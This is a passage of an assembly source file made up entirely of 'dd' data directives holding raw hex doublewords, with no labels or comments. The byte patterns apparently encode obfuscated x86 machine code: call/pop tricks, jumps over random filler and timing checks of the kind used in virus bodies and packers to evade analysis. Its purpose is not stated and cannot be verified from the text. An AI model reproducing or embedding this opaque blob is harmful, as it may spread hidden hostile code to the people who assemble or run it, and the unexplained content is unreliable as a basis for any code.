3E8h dd 0C35A2000h, 2454895Ah, 24448104h, 1604h, 0C3524200h dd 0FCF5C8F4h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 18h, 0C6C35343h, 0A689D1CEh, 0B70FC02Bh, 6AD22BDEh dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 14042444h dd 47000000h, 0AD90C357h, 0E8D1C233h, 0E983D003h, 81F47504h dd 96D494D7h, 7D9D8B26h, 6A060326h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 14042444h, 43000000h, 0D98C353h dd 88h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh dd 0C35747h, 97C62341h, 8995C29Eh, 32425B5h, 0A5958B06h dd 6A060320h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 14042444h, 43000000h, 8B15C353h, 31A658Dh, 57006A06h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1904h, 0C3574700h dd 97E67E04h, 10E90EBEh, 76000000h, 52051E6Eh, 27F7D296h dd 1164CF02h, 50C0C10Ch, 188BC28Bh, 188BC103h, 0E8D1C18Bh dd 188BC203h, 0B5896058h, 6032395h, 6A61FCh, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1D0424h, 57470000h, 4C64DCC3h dd 586D344Dh, 66D6278Bh, 83ADF7BFh, 3210DBDh, 840F0006h dd 75h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 14h dd 9C35545h, 0B589DA8Ah, 60319E1h, 0B8h, 0ECBB6600h, 698D8D38h dd 8106034Dh, 0BDB4BF3h, 5E947h, 0CEDA0000h, 0FF8D0C9Dh dd 52006AE1h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1A04h dd 0C3524200h, 19B67732h, 66E521F9h, 0E9E7F3BBh, 5, 91C2822Ah dd 71BD83ACh, 60300h, 553840Fh, 0DB810000h, 18F310B0h dd 71BD83h, 0F010603h, 55B84h, 52006A00h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1B04h, 0C3524200h, 8F65667Ah dd 1DF46368h, 19E19D89h, 0BD830603h, 6030071h, 0EF860F03h dd 6A000004h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1C042444h, 46000000h, 0FE73C356h, 74DE9829h, 0FAC8B9Fh dd 1788h, 12E900h, 47620000h, 0E683A65Bh, 13F65802h, 1CD4284Bh dd 58FB5F93h, 5E8h, 0D1EA2B00h, 0BD334CADh, 6030FD1h, 6A605Bh dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h, 53430000h dd 0BCDD8FC3h, 11E8FB89h, 0E5000000h, 2EDC874Eh, 0E8BC068Ch dd 0EB093ED9h, 75EAA7F8h, 8E9h, 0A70DA000h, 0A6CD3F69h dd 8C665FDDh, 57006AD9h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1904h, 0C3574700h, 4B4339B5h, 0E18007F8h, 11E904h, 0CECF0000h dd 0E4B3E738h, 15088E67h, 0A6B020B2h, 0A2F9E1Ah, 34840FC9h dd 6A000001h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1D042444h, 41000000h, 0CB86C351h, 2C9C3E22h, 93DA7FD1h dd 9AD858Bh, 9D890603h, 60317A9h, 1A598533h, 0B5010603h dd 6030B31h, 893EB750h, 0AE82404h, 61000000h, 83008782h dd 0D8EA00D8h, 12E981h, 9CD20000h, 0CE196560h, 0E8480A62h dd 93537775h, 1388F3C4h, 6A006A5Fh, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1A042444h, 40000000h, 0DD08C350h dd 0D4123B4Fh, 0AE9601Eh, 1F000000h, 9F0013C5h, 1A332BA7h dd 6E18099h, 0CBF76861h, 0BF669C26h, 4818072h, 0F8380824h dd 56006A63h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1504h dd 0C3564600h, 0F3817CD8h, 6E7C3198h, 2E7195FFh, 66600603h dd 0E867A3BFh, 14h, 0CF145C9Fh, 0F0A2D446h, 3AB9CBD3h dd 0E549398Bh, 0F598E6A9h, 5FC6BF0Fh, 3858961h, 890606A7h dd 31B6D8Dh, 27AE906h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 1D0424h, 55450000h, 0B0889AC3h, 0D7CC9CDEh dd 8BEC6F7Dh, 6A6FB85h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1604h, 0C3564600h, 8B2A78DAh, 309799Dh, 28F0F06h dd 0B7000000h, 1800C741h, 6A000000h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1A042444h, 46000000h, 6449C356h dd 5176041Bh, 0FFB58BD7h, 6A0606A6h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 18042444h, 47000000h, 3843C357h dd 602B3882h, 8BC0BF0Fh, 3004585h, 858B6106h, 6031F89h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 8CC35646h dd 15B111A3h, 9B94871h, 6A06898Ch, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1A042444h, 40000000h, 0F936C350h dd 0CB608250h, 6D8D8974h, 8B060304h, 31C31BDh, 0AD858B06h dd 6A060309h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 1A042444h, 40000000h, 8331C350h, 0BA23151Bh, 0E7EB81ABh dd 896915FDh, 0BD8B0446h, 6031641h, 13E896h, 0E66E0000h dd 720D4DC7h, 0D6DA2821h, 53200BF2h, 0A9B049EAh, 4880F1Bh dd 66000000h, 5B2AB8BFh, 0F98B6650h, 52006A96h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1C04h, 0C3524200h, 48CC1FF6h dd 0C51CA60Ah, 5BD8BB2h, 0FF060316h, 6A6FBB5h, 56006A06h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1504h, 0C3564600h dd 0FE9B8E8h, 0EC000000h, 0BC012AD9h, 9BDFD5CDh, 0D45A8F67h dd 30687A86h, 573EA27Bh, 12E9h, 0C0DEF00h, 0BEC0F29Dh dd 54ECF7E1h, 36D6176h, 5B3E3906h, 0CF243481h, 8D3EBD78h dd 6A70385h, 10E906h, 0B1F30000h, 0DAB35DA7h, 69D6C36Fh dd 0F7E7EC18h, 4DBBB222h, 90776587h, 0BB665250h, 310F661Ch dd 0C93FBB66h, 9050585Ah, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 1Ah, 0A9C35646h, 0C8D92A41h, 95FFF620h, 6032E71h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 21C35141h dd 61B76BF4h, 8974E0DCh, 19E1B589h, 9D8B0603h, 6031FC9h dd 0EE861h, 332F0000h, 9F4EF5Eh, 0D245C6F1h, 18DC3984h dd 2AD59529h, 0C75F0603h, 3007185h, 306h, 83ACB700h, 6A703BDh dd 840F0006h, 56h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 16h, 3EC35040h, 0B501F610h, 60323B5h, 48E9h dd 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1D04h dd 0C3534300h, 2FE51FE5h, 0AE0F928Fh, 61601DECh, 17B99589h dd 30500603h, 4400110Ch, 0E8C10111h, 11443010h, 114C0002h dd 0E9835803h, 0EBE77504h, 4305036h, 11640011h dd 10E8C101h, 2114430h, 3116400h, 4E98358h, 1BEBE775h dd 10E8C150h, 3116428h, 2114430h, 11642858h, 11043001h dd 7504E983h, 8B00EBE7h, 50006AC0h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1904h, 0C3504000h, 38DCD926h, 9D8B4775h dd 6031761h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 1Ah, 0A4C35343h, 0DE3D2F03h, 840FAC87h, 6, 2AEDBD8Bh dd 0BD830603h, 6030071h, 0CB850F03h, 6A000004h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 16042444h, 47000000h dd 0F9C9C357h, 3BD83F1h, 606A7h, 4A0840Fh, 0E8B30000h dd 0A703B5FFh, 6A0606h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 140424h, 57470000h, 0F9F9E7C3h, 2A7595FFh, 6A0603h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h, 52420000h dd 89FAD2C3h, 307A59Dh, 0F59D8906h, 8B060316h, 6A6F7B5h dd 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1D04h dd 0C3574700h, 2657CDD6h, 18956751h, 8B0FE648h, 2, 6C75B52h dd 10001h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 16h, 97C35343h, 0BF518C5Ah, 2C87826Eh, 5250505Bh, 5B616050h dd 0B860310Fh, 53F7A40Dh, 5A61AEB5h, 24348958h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Ah, 0AC35040h, 54304086h dd 6660FE2Ah, 40BFCB81h, 3B5FF61h, 6A0606A7h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 1C042444h, 42000000h dd 7B8BC352h, 0FC0ADE76h, 0BFD54497h, 689AB466h, 0ADBD8B60h dd 0F060300h, 68Eh, 0C99D8B00h, 6106031Ch, 244995FFh, 6A0603h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h, 56460000h dd 0B58B85C3h, 606A6F7h, 4D9589h, 8D010603h, 6031A95h dd 3131858Bh, 6A0603h, 3E850h, 58200000h, 448958C3h, 44810424h dd 170424h, 50400000h, 3880EDC3h, 0C48689D9h, 6A000000h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1B042444h dd 42000000h, 182C352h, 96FDAAA4h, 0F6092CBh, 0B58BFFB7h dd 6030E19h, 0A5958B61h, 6A060320h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 16042444h, 42000000h, 0F1A3C352h dd 83FA8B58h, 0FE904C2h, 0CA000000h, 0E6CFB416h, 22A8A756h dd 0E30A9FADh, 50899B0Ch, 55006A20h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1C04h, 0C3554500h, 585681E2h dd 0C1B440EAh, 599501D8h, 8D06032Ah, 6BB1685h, 55006A06h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1D04h, 0C3554500h dd 0FB29B31Ah, 9D2C6832h, 8689CCD2h, 0B8h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 14h, 4FC35040h, 0FDDF8166h dd 6A006A32h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 17042444h, 40000000h, 0E431C350h, 0B5FF353Dh, 606A703h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 14h, 0DAC35242h dd 3059BD8Bh, 95FF0603h, 6030CFDh, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 14h, 0EC35646h, 0BE32BB50h, 3489059Bh dd 56006A24h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1904h dd 0C3564600h, 2E7F4525h, 9D8B53ADh, 60325D1h, 0A703B5FFh dd 6A0606h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h dd 53430000h, 2B2354C3h, 7D95FFAFh, 6A06032Eh, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 17042444h, 43000000h dd 9250C353h, 0BD83119Ah, 60326C9h, 7C840F00h, 6A000000h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 19042444h dd 45000000h, 2CD3C355h, 0E366E0DEh, 6810F60h, 29000000h dd 32A9985h, 9E95306h, 0D3000000h, 98FA768Fh, 0E1140ED9h dd 5150615Fh, 11E9h, 19FAB100h, 0DFF93FF5h, 0D447A5DFh dd 0C747DE7Dh, 895F1A94h, 6A2434h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 140424h, 51410000h, 816609C3h, 0FF81B8F3h dd 6A703B5h, 0FFC3B706h, 314B995h, 0B3FB8B06h, 3B5FF82h dd 0F0606A7h, 689h, 55BD8B00h, 0FF060303h, 30C9595h, 4800F06h dd 66000000h, 8348DEBFh, 32D4DBDh, 840F0206h, 47h, 12E9h dd 5EB6E200h, 0B9E0B7B4h, 6410DC31h, 0BC268830h, 8BC73288h dd 323ED85h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1704h, 0C3564600h, 5F6A46BDh, 0C6FB8Bh, 1DBD8900h, 0C7060329h dd 3308185h, 6, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1904h, 0C3534300h, 0BCB3BF91h, 99E9EA87h dd 6AFFFFF1h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1A042444h, 46000000h, 7D1DC356h, 0B649F8EDh, 9D85896Bh dd 8B060316h, 95B531C1h, 8D060309h, 3130985h, 299D8B06h dd 90060313h, 48E0Fh, 60510000h, 52505F61h, 2860Fh, 0FB8B0000h dd 6A905Fh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h dd 57470000h, 44A220C3h, 6A9176h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 14h, 9C35343h, 800F006Ah, 19h, 0DE8h dd 0D6A00600h, 0E2365F38h, 0F7BA5731h, 890FB1FFh, 0 dd 0B1858D5Bh, 89060778h, 300559Dh, 5C08306h, 0BB6690F5h dd 0F505F45h, 8Fh, 6A9000h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 1D0424h, 55450000h, 822CD7C3h, 1707BDA4h dd 0B7C88C98h, 6A006AB7h, 51006A00h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1D04h, 0C3514100h, 0E20B6479h dd 44413BB4h, 0BD8976CFh, 60315F1h, 0CFD7CF81h, 95FF6D5Ah dd 6031DF9h, 374ACB81h, 8D8D7E28h, 6069933h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 19h, 60C35646h, 4424ACh dd 0FF40B7A6h, 55006AD1h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1804h, 0C3554500h, 1A0208D5h, 4840FF2h, 66000000h dd 839F41BFh, 31D89BDh, 850F0106h, 7Ah, 0E857006Ah, 3 dd 5FC35F20h, 4247C89h, 4244481h, 18h, 0F3C35747h, 2F574C66h dd 6A026Ah, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1A0424h dd 55450000h, 73A593C3h, 0DAEC3D45h, 90FAB70Fh, 0B0F0BB50h dd 89901699h, 30BB58Dh, 0FD95FF06h, 6A06030Ch, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 17042444h, 42000000h dd 83E3C352h, 0EE9A2CDh, 0E800000Eh, 0 dd 0BBED815Dh, 0F060778h, 587h, 0CFF1BF00h, 0FA8B41E9h dd 1925BD0Bh, 858D0603h, 6069100h, 0CE8h, 8BB0FB00h, 31433F3Fh dd 276309A6h, 0B1BD2BBEh, 5B060329h, 0FB8B5090h, 53006A90h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1A04h, 0C3534300h dd 0CCC21F4Ch, 0BB0FBFBDh, 23BC9D0Dh, 35FF64h, 6A000000h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1B042444h dd 43000000h, 31C4C353h, 0EE111661h, 0BD099D75h, 6030865h dd 258964h, 6A000000h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1D042444h, 42000000h, 0E889C352h, 0EFED6ABCh dd 8F643D8Dh, 0AD8589h, 95890603h, 6032D9Dh, 1D0185FFh dd 81660603h, 6A59A5D7h, 50006AFFh, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1804h, 0C3504000h, 8C43ECF4h, 0C99D8B05h dd 0FF06032Dh, 30EA9B5h, 4D95FF06h, 0E906031Bh, 127h, 0B0DEB70Fh dd 19C38100h, 0E602482Ah, 0B1BD8B70h, 0E4060320h, 0DABF6671h dd 0F613CE0h, 10683h, 14E800h, 0FE4C0000h, 98504F4Ch, 0DC4E382Fh dd 24765127h, 0F66F47F6h, 8166ABA8h, 5B5CE7CFh, 0BAC8B60Fh dd 6, 0C16DBBF5h, 0C18B4CCDh, 18F18529h, 0E8C10603h, 9E904h dd 0E6F80000h, 0FB7C8FB9h, 8B22A387h, 0E2F766F9h, 14BD8D09h dd 0C82B0603h, 850Fh, 0D18B0000h, 7E8h, 12C53C00h, 2BC0A5CEh dd 0E911B660h, 0Ch, 0C25AD506h, 8DE84F9h, 68C1E445h, 8A0F5F61h dd 2, 6E9FA8Bh, 89000000h, 30889B5h, 0A5858B06h, 0BB06030Dh dd 2214F3EDh, 2B07C083h, 31AAD9Dh, 0C08306h, 6773BF66h dd 830FD03Bh, 16h, 6890F60h, 23000000h, 3169D95h, 1F58006h dd 3DE961h, 8D8B0000h, 6031699h, 1B49BD89h, 0BF660603h dd 0E183C25Ah, 24840F01h, 89000000h, 32E098Dh, 99A58306h dd 0FE060316h, 21999D29h, 95890603h, 6030DA5h, 1F859D8Bh dd 0E90603h, 8D000000h, 6F28DB5h, 51006A06h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1504h, 0C3514100h, 0BD233DC6h dd 6032561h, 6E9h, 99E18800h, 6A86A5BCh, 53006A00h, 3E8h dd 0C35B2000h, 245C895Bh, 24448104h, 1604h, 0C3534300h dd 8B03CC48h, 32C3DBDh, 0B1BD8B06h, 0FF060315h, 323A595h dd 0AD958906h, 0B906030Dh, 7CFh, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 17h, 0DAC35646h, 83EDCAABh, 6AFCE1h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h dd 0A18243C3h, 8C8A392Ah, 8166E922h, 661D09DFh, 0FC632DBFh dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 34C35343h dd 0F84D68E9h, 7D66C229h, 12E9A8h, 9D1F0000h, 56116E93h dd 0D1F01068h, 2004BDBBh, 85835B12h, 6AC02Bh, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 190424h, 51410000h, 3CD558C3h dd 80891496h, 0D22BABC7h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 15h, 1DC35040h, 0C381665Ch, 0BD8B2D55h, 6031AE9h dd 0D1C233ADh, 83D003E8h, 0F47504E9h, 85897BB3h, 6030E59h dd 880Dh, 85958900h, 8B06031Ah, 320A595h, 51006A06h, 3E8h dd 0C3592000h, 244C8959h, 24448104h, 1C04h, 0C3514100h dd 507CB6D0h, 58EA802Fh, 8BF98BCEh, 40E380DFh, 1A658D8Bh dd 6A0603h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h dd 57470000h, 57006C3h, 1855BD8Bh, 8B500603h, 3188BC2h dd 8B188BC1h, 3E8D1C1h, 58188BC2h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 19h, 80C35747h, 2C0EA1BEh, 57006ACBh dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1604h, 0C3574700h dd 0B7924BCDh, 0DBD83F4h, 60321h, 93840Fh, 0EE90000h, 2D000000h dd 0AD0342C2h, 0D7D57516h, 5E5E00CCh, 0EE9ACh, 12520000h dd 7A721CA5h, 4EA00E6Dh, 65A4EAD4h, 0B8h, 51006A00h, 3E8h dd 0C3592000h, 244C8959h, 24448104h, 1D04h, 0C3514100h dd 2C2638D7h, 0E76E71A3h, 800F3159h, 6, 263DBD8Bh, 8D8D0603h dd 6034D69h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 1Ch, 7EC35545h, 0DEEC218Eh, 1F952C20h, 6E9E1FFh, 0DC000000h dd 9CC2CF50h, 71BD8370h, 60300h, 3F6840Fh, 83F50000h, 30071BDh dd 840F0106h, 403h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 15h, 0F9C35040h, 0B2BF6607h, 71BD8394h, 3060300h dd 39F860Fh, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h dd 150424h, 50400000h, 604DF4C3h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Dh, 0ABC35545h, 50985B91h, 95FBFA2Bh dd 0D98C66D4h, 8B04E180h, 318FDBDh, 0FC90A06h, 12884h dd 0D98B6600h, 9AD858Bh, 81660603h, 338B6DCBh, 31A5985h dd 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1C04h dd 0C3524200h, 32D78B28h, 56CC8DCCh, 9E781FDh, 50567D82h dd 8860Fh, 50500000h, 5A310F52h, 4895F58h, 57006A24h, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1404h, 0C3574700h dd 6A006A12h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1B042444h, 43000000h, 0B10CC353h, 0BF03B48Ah, 9D894B35h dd 60325A5h, 70224968h, 0D88B6606h, 0B6243481h, 6A066F21h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1D042444h dd 41000000h, 0E98DC351h, 0F4352E37h, 944E60DFh, 2E7195FFh dd 6A0603h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h dd 53430000h, 0A289B5C3h, 0F117713h, 8589F9B7h, 606A703h dd 1ECE9h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1A04h, 0C3534300h, 35AD707Eh, 890D0031h, 320059Dh, 0FB858B06h dd 0C70606A6h, 1800h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1904h, 0C3554500h, 0CE905D72h, 0B58BF0BBh dd 606A6FFh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 19h, 89C35343h, 1F30917Eh, 819D8B46h, 8B06030Fh, 31F8985h dd 0FE906h, 79890000h, 99358500h, 0DE69B4A8h, 431D261Bh dd 6A06894Fh, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 17042444h, 42000000h, 6362C352h, 0CB8004F6h, 0A4E380DFh dd 9AD858Bh, 46890603h, 52505004h, 0D08B6660h, 310F5250h dd 0F61585Ah, 5AFE8B31h, 24348958h, 599D8Bh, 0B5FF0603h dd 606A6FBh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 16h, 0E8C35747h, 4E8B839h, 0FF000000h, 50001F03h, 0E880F52h dd 0E9000000h, 9, 0DE31CB4Bh, 0C6C7D9D3h, 8B310F43h, 50585AF8h dd 8BDF8B66h, 66042444h, 8B3AB6BFh, 14E800h, 0D4610000h dd 29E77E67h, 0AFC2A847h, 0A5F26093h, 0E65AB1BCh, 850F658Bh dd 3, 5FF88B66h, 4244489h, 58DF8B66h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 15h, 84C35242h, 3858D04h dd 6A0606A7h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1C042444h, 41000000h, 0D708C351h, 572D7C89h, 8BDD4B86h dd 323D5BDh, 55BD8B06h, 90060316h, 50F98B66h, 90DA8B66h dd 0AEBE6660h, 95FF619Fh, 6032E71h, 0E8DAB70Fh, 0Ah, 0A40E0A8h dd 0F71522Eh, 0DB81E197h, 6ACE1911h, 0BF0F615Bh, 7185C7FBh dd 3060300h, 0F9000000h, 0A703BD83h, 0F000606h, 4084h dd 14E900h, 0D77D0000h, 0FE9F4124h, 0E847E9BDh, 14E402BAh dd 0EE3729F7h, 14E86E83h, 0BC000000h, 91703273h, 0A2121192h dd 0DDA5DD8Eh, 0A268488Ah, 811EE4BCh, 7B3FEDF7h, 1DE95F63h dd 0F8000000h, 0C3050F8h, 11440011h, 10E8C101h, 2114430h dd 3114C00h, 4E98358h, 36EBE775h, 11043050h, 1116400h dd 3010E8C1h, 21144h, 58031164h, 7504E983h, 501BEBE7h dd 2810E8C1h, 30031164h, 58021144h, 1116428h, 83110430h dd 0E77504E9h, 0C08B00EBh, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 1Dh, 7CC35646h, 51D0956Fh, 0CEEC3169h, 0AE99Fh dd 75340000h, 0B64C171Bh, 5B31BE10h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Dh, 0ECC35545h, 0C75F8F12h, 0CC59E83Ch dd 819D8BC2h, 83060319h, 30071BDh, 850F0306h, 446h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 8C35141h, 684D58FFh dd 0BD83DD31h, 606A703h, 17840F00h, 66000004h, 0F2CFF381h dd 1E1D8501h, 0B5FF0603h, 606A703h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 1Ch, 5C35141h, 7BEAF502h, 8DC8977h dd 4A0888BFh, 7595FF78h, 6A06032Ah, 3E85000h, 20000000h dd 8958C358h, 81042444h, 17042444h, 40000000h, 205AC350h dd 0B529B688h, 6030EEDh, 8BFB8B66h, 6A6F7B5h, 57006A06h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1704h, 0C3574700h dd 0A5B41433h, 106C7h, 8B600001h, 31925B5h, 75958906h dd 61060316h, 5096FE8Ah, 0FB8B6652h, 0BF66965Bh, 0B5FF031Dh dd 606A703h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 1Ch, 64C35545h, 84627862h, 294D2BC9h, 0ACD6BF66h, 244995FFh dd 6A0603h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h dd 55450000h, 97030CC3h, 496705B5h, 8BF3A68Bh, 3266DBDh dd 0F7B58B06h, 6A0606A6h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 15042444h, 40000000h, 43D4C350h, 0FF98B66h dd 2B86h, 0CE800h, 0C1050000h, 0AB73E3BFh, 54C3B56Dh, 14E99CBFh dd 93000000h, 5AC06E80h, 3BEDFE4Fh, 705097F8h, 59E5396Fh dd 5BFC8427h, 3131858Bh, 95010603h, 603157Dh, 0C48689h dd 0BD8B0000h, 6032135h, 20A5958Bh, 29520603h, 31B1185h dd 81665B06h, 830EA5CBh, 6A04C2h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 190424h, 56460000h, 403BD5C3h, 89B0E79Fh dd 32FA9BDh, 20508906h, 0D88B6650h, 16858D5Fh, 600606BBh dd 62F2D281h, 9E978F2h, 7C000000h, 47D36C2Eh, 0B4E5E222h dd 8689F561h, 0B8h, 5830Fh, 10BB0000h, 6A0E1DB6h, 51006A00h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1C04h, 0C3514100h dd 0E9AF98D0h, 0DE3C101h, 45BD33B8h, 0FF060316h, 6A703B5h dd 0B7D38006h, 58B0F60h, 0B9000000h, 19878962h, 22B9BD8Bh dd 0FF610603h, 30CFD95h, 68B0F06h, 1000000h, 3258195h dd 66525006h, 5F4947BBh, 51243489h, 0AED9D31h, 0FF5B0603h dd 6A703B5h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1D04h, 0C3534300h, 1391B382h, 0F33B1E2Ch, 95FFF4D1h dd 6032E7Dh, 9E9h, 0E2756500h, 157FD26Eh, 0BD83DBDFh, 60326C9h dd 3E840F00h, 6A000000h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 15042444h, 41000000h, 0F958C351h, 870Fh dd 0F500000h, 0B8Ah, 830F6000h, 0 dd 61F38B66h, 8B243489h, 30055BDh, 3B5FF06h, 0F0606A7h dd 0C86h, 6880F00h, 8B000000h, 31DE5BDh, 0B995FF06h, 6A060314h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1C042444h dd 40000000h, 0DE87C350h, 93B83829h, 0FFDE13DBh, 6A703B5h dd 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1804h dd 0C3564600h, 8D741473h, 0DB8166E4h, 95FFE595h, 6030C95h dd 0BD83DF8Bh, 6032D4Dh, 8D840F02h, 6A000000h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 1D042444h, 46000000h dd 9E22C356h, 0CD4D867h, 0ABE2E03Ah, 1840Fh, 8BF80000h dd 323ED85h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1804h, 0C3554500h, 283A045Fh, 0DDBD030Dh, 8B060324h dd 325D9BDh, 0F1BD8906h, 0C6060318h, 6A0000h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 140424h, 57470000h, 0BF66F2C3h dd 9D8BAA5Eh, 6031761h, 308185C7h, 603h, 13E90000h, 6A000000h dd 56502D57h, 0CEE46CD9h, 0B67C5C87h, 0B958040h, 0F4E98F5Dh dd 52FFFFF2h, 13E9h, 0B0E9CC00h, 0DE030509h, 0E9AB4FCDh dd 25A4AA95h, 0D183C78Ch, 66C18B5Bh, 0AE99F781h, 23DB8166h dd 9858DDCh, 89060313h, 318959Dh, 0FE95006h, 0D0000000h dd 0DC9A5FECh, 0A8084BB3h, 1924AFDDh, 48939EFh, 57006A24h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1604h, 0C3574700h dd 0FD4DC15h, 48Bh, 6DBB6600h, 119D8BA5h, 6A06030Bh, 0B0EF8000h dd 0E781006Ah, 353B1EE9h, 88AA858Dh, 6A0607h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 170424h, 53430000h, 775A18C3h dd 959589CEh, 83060326h, 816605C0h, 5007CFDBh, 33240489h dd 30F15BDh, 8B006A06h, 31581BDh, 6A006A06h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 17042444h, 46000000h dd 23A2C356h, 95FF5E99h, 6031DF9h, 1E399D8Bh, 8D8D0603h dd 6069933h, 68ABE781h, 0D1FF0CABh, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Ah, 0AFC35343h, 7325F5DFh, 810FEFC5h dd 6, 2079BD8Bh, 0BD830603h, 6031D89h, 0CC850F01h, 6A000000h dd 